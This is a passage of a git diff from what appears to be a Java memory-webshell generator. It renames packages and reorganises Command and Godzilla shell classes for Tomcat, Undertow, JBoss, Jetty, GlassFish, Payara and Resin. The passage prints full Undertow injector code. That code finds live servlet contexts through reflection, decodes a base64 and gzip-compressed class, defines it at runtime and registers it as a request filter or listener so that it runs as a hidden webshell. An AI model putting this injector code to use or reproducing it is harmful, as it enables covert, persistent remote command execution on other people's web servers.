||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
if (filters != null) {
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass != null) {
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-214
@@ -1,214 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.undertow.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowListenerInjector {
|
||||
|
||||
|
||||
static {
|
||||
new UndertowListenerInjector();
|
||||
}
|
||||
|
||||
public UndertowListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
|
||||
if (listener != null) {
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
+10
-11
@@ -1,17 +1,16 @@
|
||||
package com.reajason.javaweb.memsell.glassfish;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.glassfish.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.glassfish.command.CommandValve;
|
||||
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
+7
-8
@@ -1,14 +1,13 @@
|
||||
package com.reajason.javaweb.memsell.jboss;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.jboss.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.jboss.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memsell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+7
-8
@@ -1,13 +1,12 @@
|
||||
package com.reajason.javaweb.memsell.jetty;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+10
-11
@@ -1,17 +1,16 @@
|
||||
package com.reajason.javaweb.memsell.payara;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.payara.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.payara.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.payara.command.CommandValve;
|
||||
import com.reajason.javaweb.memsell.payara.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.payara.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.payara.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.payara.injector.PayaraFilterInjector;
|
||||
import com.reajason.javaweb.memsell.payara.injector.PayaraListenerInjector;
|
||||
import com.reajason.javaweb.memsell.payara.injector.PayaraValveInjector;
|
||||
import com.reajason.javaweb.memshell.payara.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+7
-8
@@ -1,14 +1,13 @@
|
||||
package com.reajason.javaweb.memsell.resin;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.resin.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.resin.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.resin.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memsell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+14
-10
@@ -1,13 +1,16 @@
|
||||
package com.reajason.javaweb.memsell.tomcat;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
@@ -20,7 +23,7 @@ import static com.reajason.javaweb.config.Constants.*;
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell extends AbstractShell {
|
||||
public static final String WEBSOCKET = "Websocket";
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
@@ -41,7 +44,8 @@ public class TomcatShell extends AbstractShell {
|
||||
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
+7
-8
@@ -1,14 +1,13 @@
|
||||
package com.reajason.javaweb.memsell.undertow;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.undertow.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memsell.undertow.injector.UndertowListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.Getter;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
+1
-3
@@ -1,11 +1,9 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
+3
-2
@@ -1,8 +1,9 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
+3
-2
@@ -1,8 +1,9 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memshell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
+1
-3
@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/5
|
||||
|
||||
+6
-6
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -49,16 +49,16 @@ public class GlassFish3ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
